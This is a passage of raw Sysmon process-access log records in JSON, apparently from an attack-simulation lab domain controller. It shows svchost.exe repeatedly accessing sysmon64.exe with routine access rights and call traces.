11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1730,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1731,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1732,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1733,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1734,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1735,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1736,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1737,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1738,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 